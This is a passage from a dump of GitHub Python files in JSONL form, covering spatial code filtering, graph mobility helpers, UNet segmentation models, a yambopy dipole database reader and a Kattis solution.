df_codes[\"iris_id\"] = df_codes[\"iris_id\"].astype(\"category\")\n df_codes[\"commune_id\"] = df_codes[\"commune_id\"].astype(\"category\")\n df_codes[\"departement_id\"] = df_codes[\"departement_id\"].astype(\"category\")\n df_codes[\"region_id\"] = df_codes[\"region_id\"].astype(int)\n\n # Filter zones\n requested_regions = list(map(int, context.config(\"regions\")))\n requested_departments = list(map(str, context.config(\"departments\")))\n\n if len(requested_regions) > 0:\n df_codes = df_codes[df_codes[\"region_id\"].isin(requested_regions)]\n\n if len(requested_departments) > 0:\n df_codes = df_codes[df_codes[\"departement_id\"].isin(requested_departments)]\n\n df_codes[\"iris_id\"] = df_codes[\"iris_id\"].cat.remove_unused_categories()\n df_codes[\"commune_id\"] = df_codes[\"commune_id\"].cat.remove_unused_categories()\n df_codes[\"departement_id\"] = df_codes[\"departement_id\"].cat.remove_unused_categories()\n\n return df_codes\n","repo_name":"Nitnelav/sirane-pipeline","sub_path":"data/spatial/codes.py","file_name":"codes.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5300299325","text":"# -*- coding:utf-8 -*-\n# @Time :2020-03-09 18:29\n# @Email :876417305@qq.com\n# @Author :yanxia\n# @File :lujing.PY\n# 文件的路径处理\nimport json\na={\"memberId\":88538,\"title\":\"借款300万\",\"amount\":300000,\"loanRate\":18.0,\"loanTerm\":6,\"loanDateType\":0,\"repaymemtWay\":5,\"biddingDays\":10}\nb=json.dumps(a)\nprint(type(b))\n","repo_name":"wangyanxia-626/api-test","sub_path":"class_0228/lujing.py","file_name":"lujing.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"776709365","text":"from dateutil import tz\nimport numpy as np\nimport logging\nimport scipy.optimize as scimin\nimport sys\nimport pytz\nimport datetime\n\nlatitude_meters = 111.2 * 1000\nlongitude_meters = 111 * 1000\nearth_radius_km = 6371.009\n\n\ndef gte_lb(x, lb):\n return x >= lb\n\n\ndef lte_ub(x, ub):\n return x <= ub\n\n\ndef within_boundary(x, lb, ub):\n return gte_lb(x, lb) and lte_ub(x, ub)\n\n\ndef get_time_bin_bounds(vec, time_bin_width_secs):\n \"\"\"\n Compute boundaries of time bins based on time ranges in the data file\n \"\"\"\n # to ensure the last upper bound is greater than the actual max. time\n bias = time_bin_width_secs\n return np.array(\n range(\n int(np.min(vec)),\n int(np.max(vec)) + bias,\n time_bin_width_secs\n ))\n\n\ndef bucket_by_time(time_bin_bounds, vec):\n time_bins = {}\n for i in range(len(time_bin_bounds) - 1):\n time_bins[i] = np.where(np.logical_and(\n vec >= time_bin_bounds[i],\n vec < time_bin_bounds[i+1]))[0]\n logging.debug('Loaded {0} time buckets'.format(\n len(time_bins)))\n return time_bins\n\n\ndef grid_area(lat_min, lat_max, lng_min, lng_max, length_meters):\n \"\"\"\n Divides a spatial area into equally sized cells.\n \"\"\"\n\n lat_steps = int(\n abs(lat_max - lat_min) * latitude_meters / length_meters)\n lat_grids = np.linspace(lat_min, lat_max, lat_steps)\n\n lng_steps = int(\n abs(lng_max - lng_min) * longitude_meters / length_meters)\n lng_grids = np.linspace(lng_min, lng_max, lng_steps)\n\n return lat_grids, lng_grids\n\n\ndef get_node(lat_grids, lng_grids, p):\n lat_cell = 0\n lng_cell = 0\n\n if within_boundary(p[0], lat_grids[0], lat_grids[-1]):\n if within_boundary(p[1], lng_grids[0], lng_grids[-1]):\n lat_cell = np.argmax(p[0] < lat_grids)\n lng_cell = np.argmax(p[1] < lng_grids)\n\n node = (lat_cell - 1) * len(lng_grids) + (lng_cell - 1)\n return node, lat_cell - 1, lng_cell - 1\n\n\ndef compute_least_sq(x, y, with_const=True):\n guess = [1, 1]\n params, cov, infodict, mesg, iter = scimin.leastsq(\n resi, guess, args=(x, y),\n full_output=True)\n return params, infodict\n\n\ndef fit_func(x, p):\n \"\"\"\n Linear fit function which empirically which relates number of edges\n to number of nodes\n\n :param x: domain of the function\n :param p: parameters of the function\n :return: range of the function\n \"\"\"\n c, l = p\n return c*x**l\n\n\ndef resi(p, x, y):\n \"\"\"\n Finds the residual between the fitted function and the ground truth\n\n :param p: parameters for the fit function\n :param x\n :param y\n :return: residual vector of same dimenstion as n_nodes\n \"\"\"\n return y - fit_func(x, p)\n\n\nclass Params(object):\n def __init__(self, r):\n self.prefix = r['prefix']\n self.start_lat = r['start_lat']\n self.end_lat = r['end_lat']\n self.start_lng = r['start_lng']\n self.end_lng = r['end_lng']\n self.cons_ts = r['cons_ts']\n self.fname = r['file_name']\n self.time_zone = r['time_zone']\n\n\ndef compute_r2(n_edges, infodict):\n ss_err = (infodict['fvec']**2).sum()\n ss_tot = np.sum(n_edges - np.mean(n_edges)**2)\n rsquared = 1 - (ss_err/ss_tot)\n return rsquared\n\n\ndef compute_diameter_effective(graph_weights):\n \"\"\"\n Find the effective diamater of the graph defines as minimum moves needed\n to move between any two connected edges\n\n :param graph_weights: graph\n\n \"\"\"\n dists = []\n max_min_diameter = 0\n for node_id in graph_weights.keys():\n visited_set = {}\n distance = {}\n distance_map = {}\n\n distance_map[0] = set([node_id])\n distance[node_id] = 0\n while len(distance_map) > 0:\n\n min_val_node = min(distance_map.keys())\n node_set = distance_map[min_val_node]\n vertex = node_set.pop()\n\n visited_set[vertex] = ''\n\n if vertex in graph_weights:\n for k, v in graph_weights[vertex].items():\n if k not in visited_set:\n if k in distance:\n if distance[vertex] + 1 < distance[k]:\n new_dist = distance[vertex] + 1\n\n # Add new distance value in map for k\n add_distance_map(distance_map, new_dist, k)\n\n # Clear old distance value from map for k\n clean_distance_map(distance_map, distance[k], k)\n\n distance[k] = new_dist\n else:\n new_dist = distance[vertex] + 1\n distance[k] = new_dist\n\n # Add new distance value in map for k\n add_distance_map(distance_map, new_dist, k)\n\n dists.append(distance[k])\n if distance[k] > max_min_diameter:\n max_min_diameter = distance[k]\n\n # Clear old distance value from map for vertex\n if len(node_set) == 0:\n del distance_map[min_val_node]\n del distance[vertex]\n\n\n ed = np.percentile(dists, 98)\n #print(ed, max_min_diameter)\n return ed, max_min_diameter\n\ndef add_distance_map(dist_map, new_dist, node):\n if new_dist in dist_map:\n dist_map[new_dist].add(node)\n else:\n dist_map[new_dist] = set([node])\n\n\ndef clean_distance_map(dist_map, old_distance, node):\n dist_old_set = dist_map[old_distance]\n if len(dist_old_set) == 1:\n del dist_map[old_distance]\n else:\n dist_old_set.remove(node)\n\n\ndef is_night_hour(epoch, time_zone):\n dt = datetime.datetime.utcfromtimestamp(epoch)\n dt = pytz.utc.localize(dt)\n to_zone = tz.gettz(time_zone)\n hour = dt.astimezone(to_zone).hour\n if hour >= 0 and hour <= 7:\n return True\n else:\n return False\n\n\ndef theor_degree_exp(alpha):\n return 2/alpha\n\ndef time_varying_theor_degree_exp(alpha, nodes):\n nodes = np.array(nodes)\n n = 4*nodes**(alpha - 1) - 1\n d = 2*nodes**(alpha - 1) - 1\n return n/d\n\n\ndef real_degree_exp(rrg_t):\n node_degree = rrg_t.in_degree + rrg_t.out_degree\n node_degree_arr = np.array([[k, v] for k, v in node_degree.items()])\n return compute_mle(node_degree_arr[:, 0])\n\ndef compute_mle(x):\n n = len(x)\n x_min = np.min(x)\n return 1 + (n * (1 / (np.sum(np.log(x/x_min)))))\n","repo_name":"ajauhri/mobility-modeling","sub_path":"src/utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"34677646817","text":"import torch\nimport os\n\nimport config\nfrom model.generator import Generator\nfrom utils.utils import log_audio\n\n\nif torch.cuda.is_available():\n device = torch.device('cuda:0')\nelse:\n device = torch.device('cpu')\n\n\nif __name__ == '__main__':\n model = Generator(config.num_mels).to(device)\n model.load_state_dict(torch.load(\"final_generator\", map_location=device))\n\n files = os.listdir(config.test_mels_dir)\n os.makedirs(config.output_dir, exist_ok=True)\n\n model.eval()\n model.remove_weight_norm()\n with torch.no_grad():\n for i, filename in enumerate(files):\n x = torch.load(os.path.join(config.test_mels_dir, filename), map_location=device)\n predicted = model(x)\n log_audio(predicted, filename[:-7] + '_gen.wav')\n","repo_name":"qwerty-Bk/vocoder","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20785155202","text":"import collections\nimport random\n\nfrom dataset_preprocess import gengraph\nimport matplotlib.pyplot as plt\nimport pickle\n# G, labels, name = gengraph.gen_syn1()\nimport os\nimport networkx as nx\n\"\"\"\nBA-base (8 nodes)\nHouse(5), Grid(4=2*2 nodes), Diamond(6 nodes), \n\"\"\"\n\ndef save_to_file(var_list, filename):\n with open(filename, 'wb') as f:\n pickle.dump(var_list, f)\n\ndef load_variable(filename):\n with open(filename, 'rb') as f:\n var_list = pickle.load(f)\n return var_list\n\ndef generate_syn_graph(base_num, shape_num, shape_type, added_edges, m, seed):\n\n G, labels, name = gengraph.gen_syn_shape(nb_shapes=shape_num, width_basis=base_num, \\\n feature_generator=None, shape_type=shape_type,\\\n add_random_edges=added_edges,m=m, seed=seed)\n\n print(\" Graph is \", G, \"type of G is\", type(G))\n # print(\" Lables is \", labels)\n # print(\" edges is\", list(G.edges), \" with size = \", len(list(G.edges)))\n print(\" name is \", name)\n name = name+\"_seed_\"+str(seed)\n nx.draw(G, with_labels=True, font_weight='bold')\n save_to_file(G, name+\".pkl\")\n plt.savefig(shape_type+\"_m_\"+str(m) + \"_edge_\"+str(len(list(G.edges)))+\"_seed_\"+str(seed)+\".png\")\n\n\n\n\ndef generate_super_graph(name):\n graph = gengraph.gen_super_graph(0, 30, m=2)\n nx.draw(graph, with_labels=True, font_weight='bold')\n plt.savefig(\"BA_shape.png\")\n save_to_file(graph, name+\".pkl\")\n\n\ndef filter_super_graph(G, rules):\n print(\" edges size = \", len(list(G.edges)))\n degrees = [(id, val) for (id, val) in G.degree()]\n print(\" degree is \", type(degrees), degrees)\n degrees.sort(key=lambda x:x[1], reverse=True)\n print(\"sorted id by degrees: \", degrees)\n\n # for\n print(\" G.nodes is\", len(G.nodes()))\n size_nodes = len(G.nodes())\n mapping = [0] * size_nodes\n\n\n for i in range(len(degrees)):\n node_id, val = degrees[i]\n if i <= 4:\n mapping[node_id] = 2\n elif 5 <= i <= 9:\n mapping[node_id] = 5\n elif 10 <= i <= 19:\n if i % 2 == 0:\n mapping[node_id] = 3\n else:\n mapping[node_id] = 4\n elif 20 <= i <= 29:\n if i % 2 == 0:\n mapping[node_id] = 0\n else:\n mapping[node_id] = 1\n print(\" labeling nodes with different types\", mapping)\n print(\" check edges\")\n good_num = 0\n for edges in G.edges():\n print(edges)\n super_id_1, super_id_2 = mapping[edges[0]], mapping[edges[1]]\n if super_id_2 in rules[super_id_1] or super_id_1 in rules[super_id_2]:\n good_num += 1\n print(\" good edges is\", good_num)\n\n\n\n\ndef rules():\n\n dic = {\n 0: [2],\n 1: [2],\n 2: [0, 1, 3, 4, 5],\n 3: [2, 5],\n 4: [2, 5],\n 5: [2, 3, 4],\n }\n return dic\n\ndef generate_syn_dataset():\n # Barabási–Albert network must have m >= 1 and m < n, m = 2, n = 7\n base_num = 5\n shape_num = 1\n added_edges = 0\n shape_type = \"house\"\n # generating different shape\n for seed in range(5):\n generate_syn_graph(base_num, shape_num, shape_type=\"house\", added_edges=0, m=1, seed=seed)\n generate_syn_graph(base_num, shape_num, shape_type=\"diamond\", added_edges=0, m=1, seed=seed)\n generate_syn_graph(base_num, shape_num, shape_type=\"cycle\", added_edges=0, m=1, seed=seed)\n generate_syn_graph(base_num, shape_num, shape_type=\"clique\", added_edges=0, m=1, seed=seed)\n generate_syn_graph(base_num, shape_num, shape_type=\"fan\", added_edges=0, m=1, seed=seed)\n generate_syn_graph(base_num, shape_num, shape_type=\"star\", added_edges=0, m=1, seed=seed)\n\nif __name__ == '__main__':\n # name = \"superGraph\"\n # file_path = name + \".pkl\"\n # if os.path.isfile(file_path):\n # print(\" load from file about generated super graph \")\n # G = load_variable(file_path)\n # else:\n # generate_super_graph(name)\n #\n # rules = rules()\n # filter_super_graph(G, rules)\n generate_syn_dataset()\n\n\n","repo_name":"chao92/project_test","sub_path":"gen_dataset.py","file_name":"gen_dataset.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31258853180","text":"\"\"\" Full assembly of the parts to form the complete network \"\"\"\n\nimport torch.nn.functional as F\nimport torch\nimport torch.nn as nn\nfrom torch.cuda.amp import autocast\nimport numpy as np\n\nfrom torch.autograd import Variable\nfrom torchkeras import summary\n\nclass DoubleConv(nn.Module):\n \"\"\"(convolution => [BN] => ReLU) * 2\"\"\"\n\n def __init__(self, in_channels, out_channels, mid_channels=None):\n super().__init__()\n if not mid_channels:\n mid_channels = out_channels\n self.double_conv = nn.Sequential(\n nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1),\n nn.BatchNorm2d(mid_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n return self.double_conv(x)\n\n\nclass Down(nn.Module):\n \"\"\"Downscaling with maxpool then double conv\"\"\"\n\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.maxpool_conv = nn.Sequential(\n nn.MaxPool2d(2),\n DoubleConv(in_channels, out_channels)\n )\n\n def forward(self, x):\n return self.maxpool_conv(x)\n\n\nclass Up(nn.Module):\n \"\"\"Upscaling then double conv\"\"\"\n\n def __init__(self, in_channels, out_channels, bilinear=True):\n super().__init__()\n\n # if bilinear, use the normal convolutions to reduce the number of channels\n if bilinear:\n self.up = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)\n self.conv = DoubleConv(in_channels, out_channels // 2, in_channels // 2)\n else:\n self.up = nn.ConvTranspose2d(in_channels , in_channels // 2, kernel_size=2, stride=2)\n self.conv = DoubleConv(in_channels, out_channels)\n\n\n def forward(self, x1, x2):\n x1 = self.up(x1)\n # input is CHW\n diffY = torch.tensor([x2.size()[2] - x1.size()[2]])\n diffX = torch.tensor([x2.size()[3] - x1.size()[3]])\n\n x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,\n diffY // 2, diffY - diffY // 2])\n # if you have padding issues, see\n # https://github.com/HaiyongJiang/U-Net-Pytorch-Unstructured-Buggy/commit/0e854509c2cea854e247a9c615f175f76fbb2e3a\n # https://github.com/xiaopeng-liao/Pytorch-UNet/commit/8ebac70e633bac59fc22bb5195e513d5832fb3bd\n x = torch.cat([x2, x1], dim=1)\n return self.conv(x)\n\n\nclass OutConv(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(OutConv, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1)\n\n def forward(self, x):\n return self.conv(x)\nclass UNetConvBlock(nn.Module):\n def __init__(self, in_size, out_size, kernel_size=3, activation=F.relu):\n super(UNetConvBlock, self).__init__()\n self.conv = nn.Conv2d(in_size, out_size, kernel_size, padding=1)\n self.bn1 = nn.BatchNorm2d(out_size)\n self.conv2 = nn.Conv2d(out_size, out_size, kernel_size, padding=1)\n self.bn2 = nn.BatchNorm2d(out_size)\n self.activation = activation\n\n def forward(self, x):\n out = self.activation(self.bn1(self.conv(x)))\n out = self.activation(self.bn2(self.conv2(out)))\n return out\n\nclass UNetUpBlock(nn.Module):\n def __init__(self, in_size, out_size, kernel_size=3,\n activation=F.relu, space_dropout=True):\n super(UNetUpBlock, self).__init__()\n self.up = nn.ConvTranspose2d(in_size, out_size, 2, stride=2)\n self.conv = nn.Conv2d(in_size, out_size, kernel_size, padding=1)\n self.bn1 = nn.BatchNorm2d(out_size)\n self.conv2 = nn.Conv2d(out_size, out_size, kernel_size, padding=1)\n self.bn2 = nn.BatchNorm2d(out_size)\n self.activation = activation\n\n def center_crop(self, layer, target_size):\n batch_size, n_channels, layer_width, layer_height = layer.size()\n xy1 = (layer_width - target_size) // 2\n return layer[:, :, xy1:(xy1 + target_size), xy1:(xy1 + target_size)]\n\n def forward(self, x, bridge):\n up = self.up(x)\n # crop1 = self.center_crop(bridge, up.size()[2])\n out = torch.cat([up, bridge], 1)\n out = self.activation(self.bn1(self.conv(out)))\n out = self.activation(self.bn2(self.conv2(out)))\n\n return out\n\nclass UNetPytorch(nn.Module):\n def __init__(self):\n super(UNetPytorch, self).__init__()\n\n self.activation = F.relu\n\n self.pool1 = nn.MaxPool2d(2)\n self.pool2 = nn.MaxPool2d(2)\n self.pool3 = nn.MaxPool2d(2)\n self.pool4 = nn.MaxPool2d(2)\n\n self.conv_block1_32 = UNetConvBlock(1, 32)\n self.conv_block32_64 = UNetConvBlock(32, 64)\n self.conv_block64_128 = UNetConvBlock(64, 128)\n self.conv_block128_256 = UNetConvBlock(128, 256)\n\n self.conv_block256_512 = UNetConvBlock(256, 512)\n self.up_block512_256 = UNetUpBlock(512, 256)\n\n self.up_block256_128 = UNetUpBlock(256, 128)\n self.up_block128_64 = UNetUpBlock(128, 64)\n self.up_block64_32 = UNetUpBlock(64, 32)\n\n self.last = nn.Conv2d(32, 1, 1)\n\n def forward(self, x):\n\n block1 = self.conv_block1_32(x)\n pool1 = self.pool1(block1)\n\n block2 = self.conv_block32_64(pool1)\n pool2 = self.pool2(block2)\n\n block3 = self.conv_block64_128(pool2)\n pool3 = self.pool3(block3)\n\n block4 = self.conv_block128_256(pool3)\n pool4 = self.pool4(block4)\n\n block5 = self.conv_block256_512(pool4)\n\n up1 = self.up_block512_256(block5, block4)\n up2 = self.up_block256_128(up1, block3)\n up3 = self.up_block128_64(up2, block2)\n up4 = self.up_block64_32(up3, block1)\n out = self.last(up4)\n out = torch.sigmoid(out)\n return out\n \nclass UNet(nn.Module):\n def __init__(self, in_channels, out_channels,init_feature_num=32, bilinear=False):\n super(UNet, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n feature_num = init_feature_num\n self.bilinear = bilinear\n\n self.inc = DoubleConv(in_channels, feature_num)\n self.down1 = Down(feature_num, feature_num*2)\n self.down2 = Down(feature_num*2, feature_num*4)\n self.down3 = Down(feature_num*4, feature_num*8)\n factor = 2 if bilinear else 1\n self.down4 = Down(feature_num*8, feature_num*16 // factor)\n self.up1 = Up(feature_num*16, feature_num*8, bilinear)\n self.up2 = Up(feature_num*8, feature_num*4, bilinear)\n self.up3 = Up(feature_num*4, feature_num*2, bilinear)\n self.up4 = Up(feature_num*2, feature_num * factor, bilinear)\n self.outc_out = OutConv(feature_num, out_channels)\n # @autocast()\n def forward(self, x):\n #with autocast():\n x1 = self.inc(x)\n x2 = self.down1(x1)\n x3 = self.down2(x2)\n x4 = self.down3(x3)\n x5 = self.down4(x4)\n x = self.up1(x5, x4)\n x = self.up2(x, x3)\n x = self.up3(x, x2)\n x = self.up4(x, x1)\n out = self.outc_out(x)\n out = torch.sigmoid(out)\n return out\nif __name__ == '__main__':\n device = torch.device('cpu') #cuda:0\n inputs = torch.rand(1,144,144).unsqueeze(0).to(device)\n net1 = UNet(in_channels=1, out_channels=1,init_feature_num=64)\n res1 = net1(inputs)\n print(summary(net1, (1,144,144)))\n print('res1 shape:', res1.shape)\n\n net2 = UNetPytorch()\n res2 = net2(inputs)\n print(summary(net2, (1,144,144)))\n print('res2 shape:', res2.shape)\n\n\n\n","repo_name":"Kira-Z-China/weight-transfer","sub_path":"nets/unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"72160000163","text":"from yambopy import *\nfrom math import sqrt\nfrom time import time\nfrom yambopy.tools.string import marquee\nfrom yambopy.tools.funcs import abs2, lorentzian, gaussian\n\nclass YamboDipolesDB():\n \"\"\"\n Class to read the dipoles databases from the ``ndb.dip*`` files\n \n Can be used to for exapmle plot the imaginary part of the dielectric\n function which corresponds to the optical absorption\n \"\"\"\n def __init__(self,lattice,save='SAVE',filename='ndb.dip_iR_and_P',dip_type='iR',field_dir=[1,0,0],field_dir3=[0,0,1]):\n self.lattice = lattice\n self.filename = \"%s/%s\"%(save,filename)\n \n #read dipoles\n try:\n database = Dataset(self.filename, 'r')\n except:\n raise IOError(\"Error opening %s in YamboDipolesDB\"%self.filename)\n \n self.nq_ibz, self.nq_bz, self.nk_ibz, self.nk_bz = database.variables['HEAD_R_LATT'][:].astype(int)\n self.spin = database.variables['SPIN_VARS'][1].astype(int)\n\n # indexv is the maximum partially occupied band\n # indexc is the minimum partially empty band\n self.min_band, self.max_band, self.indexv, self.indexc = database.variables['PARS'][:4].astype(int)\n database.close()\n\n # determine the number of bands\n self.nbands = self.max_band-self.min_band+1\n self.nbandsv = self.indexv-self.min_band+1\n self.nbandsc = self.max_band-self.indexc+1\n \n #read the database\n self.dipoles = self.readDB(dip_type)\n\n #expand the dipoles to the full brillouin zone\n self.expandDipoles(self.dipoles)\n\n def normalize(self,electrons):\n \"\"\" \n Use the electrons to normalize the dipole matrix elements\n \"\"\"\n eiv = electrons.eigenvalues\n nkpoints, nbands = eiv.shape\n for nk in range(nkpoints):\n \n eivk = eiv[nk]\n \n #create eigenvalues differences arrays\n norm = np.array([ [ec-ev for ev in eivk] for ec in eivk ])\n \n #normalize\n for i,j in product(list(range(nbands)),repeat=2):\n if norm[i,j] == 0: \n self.dipoles[nk,:,i,j] = 0\n else:\n self.dipoles[nk,:,i,j] = self.dipoles[nk,:,i,j]/norm[i,j]\n dipoles = self.dipoles\n\n def readDB(self,dip_type):\n \"\"\"\n The dipole matrix has the following indexes:\n [nkpoints, cartesian directions, nspin, nbands conduction, nbands valence]\n \"\"\"\n #check if output is in the old format\n fragmentname = \"%s_fragment_1\"%(self.filename)\n if os.path.isfile(fragmentname): return self.readDB_oldformat(dip_type)\n\n self.dip_type = dip_type\n dipoles = np.zeros([self.nk_ibz,3,self.nbandsc,self.nbandsv],dtype=np.complex64)\n \n database = Dataset(self.filename)\n dip = np.squeeze(database.variables['DIP_%s'%(dip_type)])\n dip = (dip[:,:,:,:,0]+1j*dip[:,:,:,:,1]) # Read as nk,nv,nc,ir\n dipoles = np.swapaxes(dip,1,3) # Swap indices as mentioned in the docstring\n database.close()\n\n return dipoles\n\n def readDB_oldformat(self,dip_type):\n \"\"\"\n Legacy function for compatibility\n\n The dipole matrix has the following indexes:\n [nkpoints, cartesian directions, nspin, nbands conduction, nbands valence]\n \"\"\"\n self.dip_type = dip_type\n dipoles = np.zeros([self.nk_ibz,3,self.nbandsc,self.nbandsv],dtype=np.complex64)\n \n #check dipole db format\n filename = \"%s_fragment_1\"%(self.filename)\n database = Dataset(filename)\n tag1 = 'DIP_iR_k_0001_spin_0001'\n tag2 = 'DIP_iR_k_0001_xyz_0001_spin_0001'\n if tag1 in list(database.variables.keys()):\n dipoles_format = 1\n elif tag2 in list(database.variables.keys()):\n dipoles_format = 2\n database.close()\n \n for nk in range(self.nk_ibz):\n\n #open database for each k-point\n filename = \"%s_fragment_%d\"%(self.filename,nk+1)\n database = Dataset(filename)\n\n if dipoles_format == 1:\n dip = database.variables['DIP_%s_k_%04d_spin_%04d'%(dip_type,nk+1,1)]\n dip = (dip[:,:,:,0]+1j*dip[:,:,:,1])\n for i in range(3):\n dipoles[nk,i] = dip[:,:,i].T\n elif dipoles_format == 2:\n for i in range(3):\n dip = database.variables['DIP_%s_k_%04d_xyz_%04d_spin_%04d'%(dip_type,nk+1,i+1,1)][:]\n dipoles[nk,i] = dip[0].T+dip[1].T*1j\n\n #close database\n database.close()\n\n return dipoles\n \n def expandDipoles(self,dipoles=None,field_dir=[1,0,0],field_dir3=[0,0,1]):\n \"\"\"\n Expand diples from the IBZ to the FBZ\n \"\"\"\n if dipoles is None:\n dipoles = self.dipoles\n \n #check if we need to expand the dipoles to the full BZ\n lattice = self.lattice\n kpts = lattice.car_kpoints\n nks = lattice.kpoints_indexes\n nss = lattice.symmetry_indexes\n \n #normalize the fields\n field_dir = np.array(field_dir)\n field_dir = field_dir/np.linalg.norm(field_dir)\n field_dir3 = np.array(field_dir3)\n field_dir3 = field_dir3/np.linalg.norm(field_dir3)\n \n #calculate polarization directions\n field_dirx = field_dir\n field_diry = np.cross(field_dir3,field_dirx)\n field_dirz = field_dir3\n\n #get band indexes\n nkpoints = len(nks)\n indexv = self.min_band-1\n indexc = self.indexc-1\n nbands = self.min_band+self.nbands-1\n \n #Note that P is Hermitian and iR anti-hermitian.\n # [FP] Other possible dipole options (i.e., velocity gauge) to be checked. Treat them as not supported.\n if self.dip_type == 'P':\n factor = 1.0\n else:\n factor = -1.0\n \n #save dipoles in the ibz\n self.dipoles_ibz = dipoles \n #get dipoles in the full Brilouin zone\n self.dipoles = np.zeros([nkpoints,3,nbands,nbands],dtype=np.complex64)\n for nk_fbz,nk_ibz,ns in zip(list(range(nkpoints)),nks,nss):\n \n #if time rev we conjugate\n if lattice.time_rev_list[ns]:\n dip = np.conjugate(dipoles[nk_ibz,:,:,:])\n else:\n dip = dipoles[nk_ibz,:,:,:]\n \n #get symmmetry operation\n sym = lattice.sym_car[ns].T\n #get projection operation\n pro = np.array([field_dirx,field_diry,field_dirz])\n #transformation\n tra = np.dot(pro,sym)\n \n for c,v in product(list(range(self.nbandsc)),list(range(self.nbandsv))):\n #rotate dipoles\n self.dipoles[nk_fbz,:,indexc+c,indexv+v] = np.dot(tra,dip[:,c,v])\n \n #make hermitian\n for c,v in product(list(range(self.nbandsc)),list(range(self.nbandsv))):\n self.dipoles[nk_fbz,:,indexv+v,indexc+c] = factor*np.conjugate(self.dipoles[nk_fbz,:,indexc+c,indexv+v])\n \n self.field_dirx = field_dirx\n self.field_diry = field_diry\n self.field_dirz = field_dirz\n \n return dipoles, kpts\n \n def plot(self,ax,kpoint=0,dir=0,func=abs2):\n return ax.matshow(func(self.dipoles[kpoint,dir]))\n \n def ip_eps2(self,electrons,pol=1,ntot_dip=-1,GWshift=0.,broad=0.1,broadtype='l',nbnds=[-1,-1],emin=0.,emax=10.,esteps=500):\n \"\"\"\n Compute independent-particle absorption (by Fulvio Paleari)\n\n electrons -> electrons YamboElectronsDB\n GWshift -> rigid GW shift in eV\n broad -> broadening of peaks\n broadtype -> 'l' is lorentzian, 'g' is gaussian\n nbnds -> number of [valence, conduction] bands included starting from Fermi level. Default means all are included\n emin,emax,esteps -> frequency range for the plot\n \"\"\"\n\n #get eigenvalues and weights of electrons\n eiv = electrons.eigenvalues\n print(eiv.shape)\n weights = electrons.weights\n nv = electrons.nbandsv\n nc = electrons.nbandsc \n \n #get dipoles\n dipoles = self.dipoles\n\n #get frequencies and im\n freq = np.linspace(emin,emax,esteps)\n eps2 = np.zeros([len(freq)])\n\n #Cut bands to the maximum number used for the dipoles\n if ntot_dip>0: \n eiv = eiv[:,:ntot_dip]\n nc=ntot_dip-nv\n\n #Print band gap values and apply GW_shift\n electrons.energy_gaps(GWshift)\n\n #Check bands to include in the calculation\n if nbnds[0]<0: nbnds[0]=nv\n if nbnds[1]<0: nbnds[1]=nc\n iv = nv-nbnds[0] #first valence\n lc = nv+nbnds[1] #last conduction\n\n #choose broadening\n if \"l\" in broadtype:\n broadening = lorentzian\n else:\n broadening = gaussian\n\n na = np.newaxis\n #calculate epsilon\n for c,v in product(list(range(nv,lc)),list(range(iv,nv))):\n #get electron-hole energy and dipoles\n ecv = eiv[:,c]-eiv[:,v]\n dip2 = abs2(dipoles[:,pol,c-nv,v])\n\n #make dimensions match\n dip2a = dip2[na,:]\n ecva = ecv[na,:]\n freqa = freq[:,na]\n wa = weights[na,:] \n \n #calculate the lorentzians \n broadw = broadening(freqa,ecva,broad)\n \n #scale broadening with dipoles and weights\n epsk = wa*dip2a*broadw\n\n #integrate over kpoints\n eps2 += np.sum(epsk,axis=1)\n\n return freq, eps2\n\n def __str__(self):\n lines = []; app = lines.append\n app(marquee(self.__class__.__name__))\n app(\"kpoints:\")\n app(\"nk_ibz : %d\"%self.nk_ibz)\n app(\"nk_bz : %d\"%self.nk_bz)\n app(\"bands:\")\n app(\"nbands : %d\" % self.nbands)\n app(\"nbandsv: %d\" % self.nbandsv)\n app(\"nbandsc: %d\" % self.nbandsc)\n app(\"indexv : %d\" % (self.min_band-1))\n app(\"indexc : %d\" % (self.indexc-1))\n app(\"field_dirx: %10.6lf %10.6lf %10.6lf\"%tuple(self.field_dirx))\n app(\"field_diry: %10.6lf %10.6lf %10.6lf\"%tuple(self.field_diry))\n app(\"field_dirz: %10.6lf %10.6lf %10.6lf\"%tuple(self.field_dirz))\n return \"\\n\".join(lines)\n\nif __name__ == \"__main__\":\n ddb = DipolesDB()\n ddb.get_databases()\n print(ddb)\n","repo_name":"alexmoratalla/yambopy","sub_path":"yambopy/dbs/dipolesdb.py","file_name":"dipolesdb.py","file_ext":"py","file_size_in_byte":10527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"44062080344","text":"# https://open.kattis.com/problems/inflation2\n\nN = int(input())\nv = {}\nP = 0\nfor p in input().split():\n p = int(p)\n P += p\n v[p] = v.get(p, 0) + 1\n\nz = 0\nQ = int(input())\nfor _ in range(Q):\n l = input().split()\n if l[0] == \"INFLATION\":\n x = int(l[1])\n z += x\n P += x * N\n else:\n x, y = int(l[1]) - z, int(l[2]) - z\n if x != y and x in v.keys():\n P += (y - x) * v[x]\n v[y] = v.get(y, 0) + v[x]\n del v[x]\n 